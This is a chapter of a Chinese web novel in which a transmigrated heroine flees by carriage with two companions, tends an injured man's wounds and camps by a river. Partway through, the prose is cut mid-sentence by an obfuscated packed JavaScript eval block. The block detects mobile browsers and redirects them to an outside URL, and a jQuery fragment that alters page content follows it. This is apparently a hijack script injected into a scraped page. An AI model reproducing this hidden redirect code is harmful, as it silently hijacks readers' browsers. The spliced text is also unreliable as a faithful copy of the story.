26. 生骨花(1)
作品:《捡到一个男频霸主后》 江稚鱼事先在马车上面撒了一些迷魂水,过了城门的关卡。出了城,马车在官道上颠簸,将这几日的一切抛在了脑后,驶向未知的黑夜。
来幽都府的这几天,像是梦一样,如今离开,就像是刚睡醒之人在回想昨夜的梦,带着不真实感。
然而,没等江稚鱼回想完这场梦境,一只脑袋就从窗子里迅速伸了出去。
呕——
呕————呕——
“咳咳——呕——”
“咳呕————”
江稚鱼:草!
晕车的痛!太痛了!
每走一段,江稚鱼就伸头出去吐一段,直到她干呕吐出来的都是酸水,从鼻子里灌入,刺激得她眼泪花花。
“呕——水……”
端木伶自认心肠硬,但是也很久没有见过这么可怜的倒霉孩子了,还是不时递一点水喂给她。
江稚鱼泪流满面:【宝哥给点晕车药!我快死了呕……呕——】
直到她胃里的水和酸水一并吐完,呕吐的时候只有胃还会收缩时,她才像是死了一般仰躺在马车里。
【宝哥,我真要死了。】
【还没到皇城我就死半路了。】
系统不理她。
阿奴早已将马车的速度降了下来,端木伶坐着看了她好一会,被她这幅生无可恋的样子逗笑,轻掐着她的下巴问:“都吐干净了?”
江稚鱼虚点了下头。
胆都快吐出来了。
“那你忍着点。”说完,端木伶不知从哪里变出一根银针,在江稚鱼的前臂掌侧,腕横纹上约2寸的地方扎了下去,同时手背虎口凹陷处也扎下根银针。
一阵剧痛冲上天灵盖,胃里一阵翻江倒海,江稚鱼急剧地干呕几下后,所有的不适全部褪下,身体感受到了久违的宁静。
神医。
神医啊!!!
江稚鱼没有力气,只能在在身侧给她猛猛竖个大拇指。
端木伶不懂这是什么意思,但能推断出她在称赞她,挑了个眉后拿了些水喂给她。
这一套动作折腾完,江稚鱼躺在马车上,从隐隐飘开的窗布中瞥到了稀薄的金光。
天快亮了。
她恢复了一些力气,缓缓坐起来,看了一眼窗外,是一片无边际的荒野,四周都看不到人烟。
江稚鱼再一次庆幸自己把小可怜带出来了,要是一个人走这种路,靠着脑补也能把自己吓死。
“先生,”江稚鱼的声音被马蹄声掩盖,融入了风力,她深吸一口喊道:“先生!!!”
阿奴:“怎么了瑶瑶?”
江稚鱼凑近了他的耳边,大声道:“我们走了多远了?”
湿热的气息撒在阿奴的耳边,有些痒,像是水汽一样细细密密地钻进他每一寸感官。
阿奴背脊微僵:“大概八九里路。”
江稚鱼:“这路上有人追吗?”
阿奴声音有些沙哑,却很沉稳,给人一种安心感:“瑶瑶放心,那些不会知道我们的样貌,也没看见我们走的方向。”
这话江稚鱼懂了,这哥把那时候的黑衣人全干掉了。
太有实力了!
江稚鱼:“我们离最近的城镇有多远?”
阿奴:“应该三十多里。”
江稚鱼看了一眼周围,前方五百米左右有棵树。
“先生,去前面那颗树底下,我们先吃点东西。”
“好。”
江稚鱼钻回了马车,轻轻推了推又闭上眼睛的端木伶,小声问道:“端木姐姐?你睡着了吗?”
“怎么?”
“我一会让外面那位先生进来可以吗?他身上有伤,许久没有换药。”
江稚鱼观察着端木伶,她以前被男性强迫过,她不确定她和男性共处一室会不会刺激到她。
端木伶这才睁眼,看了一眼江稚鱼,像是在看傻子一样,眼里还闪过些许怜悯。
“可以。”
蠢小孩,真可怜。
“好。”马车渐渐平稳,江稚鱼把阿奴唤进了马车,身侧是已经准好的纱布和伤药。
马车并不大,江稚鱼和阿奴坐一边,端木伶坐一边,中间有个小茶几隔开。
可能是昨夜打斗过,阿奴伤口处依旧在渗血,纱布和血肉早已融入一体了。
他身上的伤口很多,最严重的还是胸口那部分的伤,隔着纱布都能看见里面的红肿,隐隐还散发着腥臭。
她用剪刀把伤口周围的纱布剪掉,再用小镊子一点一点地把伤口处的纱布揭开。
每揭开一点,红色的血水就往外渗出伸出一些,像是开了闸的水一般。
江稚鱼:谁又把我疼痛共享打开了啊啊啊啊!!!
她倒抽了一口气,脸离伤口越来越近,手上动作也越来越慢。
时不时,阿奴还能看见眼下的少女龇牙咧嘴地往伤口上轻轻地呼气。
每往前撕一点点,都像是在做什么重大决定似的。
身前是令他兴奋的香气,胸口处还不断传来若有若无的微痛,像是羽毛轻挠的痒感。女孩眼睫如受伤的蝶翅,微微颤动。
阿奴手指微缩,舒服得眯起了眼。
她在紧张。
在紧张什么呢?
害怕将他痛死?
还是怕他死在自己手里了?
“先生,你痛的话,就和我说一下,我轻一点。”
“瑶瑶放心处理罢,我不怕痛。”
“瞎说,人哪有不怕痛的呢?”女孩声音里带着浓浓的夸张,“我以前的时候也嘴上说是不怕痛,其实我破了一小点皮就会在心里大喊大叫。”
叫给宝哥听。
“那后来呢?”
“嗯?后来?”
“后来……后来我就大声喊出来了。”喊给她哥哥听,再在心里喊给宝哥听。
双管齐下!
“喊出来会如何?”
“会让关心你的人知道啊!”
胸口的纱布被完全揭下,江稚鱼停了手上的动作,从茶壶里给他倒了一杯蜂蜜水递给他后才给自己擦了擦汗,说道:“你说出来,我会知道,然后我会想办法让你变得开心一点,这样会让痛感淡去一些的!”
“心理作用也是作用。”
额头上的小汗被擦去,阿奴没有再说什么了。江稚鱼提着的一口气把伤口周围清理干净,擦干了水分倒上药粉才松开。
后面的伤口就好处理多了。
等到江稚鱼再抬头,阿奴杯里的蜂蜜水已经见底。
“这几天千万不要有剧烈运动,也不要见水了,等到城镇我再带你去看大夫。”
“好。”
江稚鱼把地图,干粮和水都摆到小桌上,平铺开来。
走得急,干粮只备了烧饼和汤饼,饼子很硬,得和着酥茶一块一块地掰着吃。
江稚鱼把酥茶给他们一人倒了一杯:“这是幽都府本地的茶,很香,饼有些硬,先将就着垫一点,等走远一点再生火。”
地图是她在街上淘到的,有些破旧,铺开后散发着晒干的旧棉麻布料和微苦的碳墨味。
她边咬着烧饼,指尖边指着地图上的一个小点,“我们大概是在这个位置,向北走,最近的一个城镇是千灯镇。”
“地图上画着这里有一个湖,”江稚鱼指着图上一片有水样的图形,她抬头向阿奴问道:“刚刚我们有经过湖泊吗?”
“没有,离这里应该还有十多里。”
“千灯镇在湖泊前方的十多里左右,我们晚上应该可以到湖边,到时候吃点东西,让马儿休息一下,晚上我们去镇上。”
江稚鱼吃完手上最后一点烧饼,灌了一大壶茶,问道:“这样可以吗?”
阿奴:“我听瑶瑶的。”
端木伶:“随你吧。”
OK,会议结束。
“那我们休息一个时辰再启程,我来守着。”
端木伶并没有异议,说完她就盘着腿闭上了眼睛,倒是阿奴一开始有些反对,在江稚鱼的强迫下,他躺到了马车的另一侧。
江稚鱼继续喝茶,意识进到了系统空间里。
系统的空间大草地上空无一人,河边还留着他兑过水没喝完的果汁,他平时用来打理自己的小镜子也静静地躺在那里。
【宝哥?】
【宝哥?!】
【宝哥哥?!!!】
无人理会。
江稚鱼把他的果汁和小镜子收好,系统这样子很明显是走的很急。她有些奇怪,看了一眼系统面板,里面并没有什么信息。
弑神弩和龙鸣决都在,应该不是那个什么主系统因为这个叫他回去受罚。
她给系统留了一张字条,把原著调了出来。
剧情发展还是只停留在男主失踪这里。
江稚鱼作为任务者,是有查看原文的权限的,但她作为剧情中的一员,只能看到当前发生所有剧情,后面的一切还是要等,哪怕是她自己要经历的剧情。
比如是谁会把她送给魏扶砚,比如她是如何勾引魏扶砚,比如她被抽筋剥皮后的一切。
她又仔细研读了一番前面已经记载的剧情,里面除了在烘托世界观的黑暗,就是在将男主今天又弄死了谁,极其血腥的一本十八x的文。
她,阿奴,端木伶被提到了零个字。
江稚鱼狂吸了一口系统的兑水果汁后呼出了一大口气,关闭了剧情面板。
乐观点想,至少他们没有在前面被提及。在这本书里有命有姓的并不是什么好事。
不正常人太多了,老实人很容易不知不觉上了某些变态的暗杀名单,死都不知道怎么死的。
“咳……呕……”
她从吸管里喝出了一张字条。
江稚鱼:……
她服了。
藏得是真的隐蔽了。
她将字条留在舌下,给宝哥最后留了一点积分买果汁,意识离开了系统
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590311|184246||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空间。
回到房间,她打开字条,上面用巧克力酱写着:
勿暴露,dangerous!
纸是糯米纸,江稚鱼看完就嚼了。
666太有文化了宝哥。
……
马车再次晃晃悠悠地在荒原上跑起来,江稚鱼手上依旧被扎成了刺猬,她中途干呕过一次,端木伶听见声音立刻就睁开了眼睛,皱着眉头看着她,不知道在想什么。
“端木姐姐,你要不再给我扎几针吧?”
“你吐完了吗?”
江稚鱼感受了一下自己的胃,摇摇头:“还没有。”
“如果你不想一会施针时候吃的东西同时从鼻孔和嘴巴里吐出来,我现在就可以给你用针。”
江稚鱼:!
“那我忍忍,马上快到了。”
她微微咳了两声,颤着手,从里衣里取了一个瓷瓶出来,瓶塞拿开的一瞬间,药香溢满整个马车,连在车外的阿奴都闻到了。
“这是什么?”端木伶问道。
“应该是补身体的药什么的吧?”
“我体质有点差,以前动不动就晕倒了,吃了这药好多了。”
药材都是好药材,只是加起来……
“这药的用量,能把你补死。”
江稚鱼笑道:“你是说用量过了吗?我体质有点特殊,吸收不了多少药量,这颗药丸里我只能吸收二三成。”
“放心好了!”
之前她感冒,靠着穆大夫的药她早就挂了,真正起作用的还是她自己的药和系统偷偷给的药。
端木伶了然,怪不得她还有呕吐症状,倒是废了她抹上去的名贵药。
“我手指上的伤是不是你帮我处理的呀?”
她刚刚才想起来自己手指之前被牙肿了,她甚至感觉有点断了,现在手上一点感觉没有。
“嗯。”
她换了一个香粉在手上抹着。
“你好厉害啊!”
端木伶凑近了她,带着热气的香喷在她的脸颊:“看在你还算讨喜的份上,给你一个忠告,你这体质,藏好了。”
这体质,要是给裴鸠知道了,恐怕嘴都要笑歪了。
江稚鱼“轰”地一下憋红了脸:“端木姐姐,你好香啊!”
“这个味道好好闻!”
恶心感逐渐褪去,窗外飘进的风里带了一股水的淡腥。
马车停在一片草地,靠着小河,方便做饭。
江稚鱼感觉现在的自己活力越来越强,一个大跃从马车上跳下去,又把端木伶扶下来了。
太阳逐渐落下,河边有浅浅的微风,混着落叶的干爽气,闻着舒服极了。
她伸了个懒腰,把早已准备好的面粉和小锅拿出来,一样一样地摆在河边。
“瑶瑶,我来做饭吧。”
江稚鱼立刻拦住了他:“不用不用!你伤还没好先好好休息吧!”
可千万别做了!
阿奴佝着腰背,低着头,看不见他的神情,声音却能感受到他满满的疑惑:“瑶瑶不是喜欢我做的食物吗?”
“你做的确实不错,但是我天生热爱做饭,最大的梦想就是当一个大厨,你就不要跟我抢了,我是不会放过任何一个练习厨艺的机会的!”
“那我帮您生火吧。”
阿奴刚要蹲下去,江稚鱼就拦住了他,她手里握着两块干鹅卵石,说道:“我来我来!”她以前在短视频里看过怎么在野外生火,生起来的概率比较高。
两块鹅卵石快速摩擦了数百下,一炷香的时间过了,江稚鱼腿也蹲麻了,终于,她凑过去看了底下枯草。
除了石壁之间难闻的火药味,草堆上甚至连缕白烟都没有飘出来。
江稚鱼:……
她装作一切都在掌握之中的样子,仰头问阿奴:“这几日下过雨,这石头还有点湿,材质不好。”
“你那里有没有尖一点的木头或者小刀什么的?”巧的是那个博主也讲过怎么钻木取火,更巧的是她也记得这个技巧!
阿奴:“……”
阿奴有些无奈,蹲下去,从口袋里拿出了一个火折子,吹了吹,很快那堆干草垛里冒出了些许白烟,红色的火从枯木下钻出。
江稚鱼:……
太无力了!实在是太无力了!
她忘了古代虽然没有打火机,但是有火折子这种东西啊!
被宝哥搞走两个月啥都忘了。
“呵。”一声简短的嗤笑声从旁传来,不远处,端木伶正抱着胸居高临下看着他们。
江稚鱼感觉自己被两个人都嘲笑了,她红了脸,赶忙支走了阿奴:“先生,马车前面还有些枯木你帮我拿过来一下吧!”
她装作一无所知地咳了咳嗓子,摆弄起她带出来的食材,在转过身去的瞬间,脸色变化风云。
啊啊啊啊啊啊太尴尬了!!!装逼失败还被人围观,这是什么新式酷刑!
她不要面子的吗?

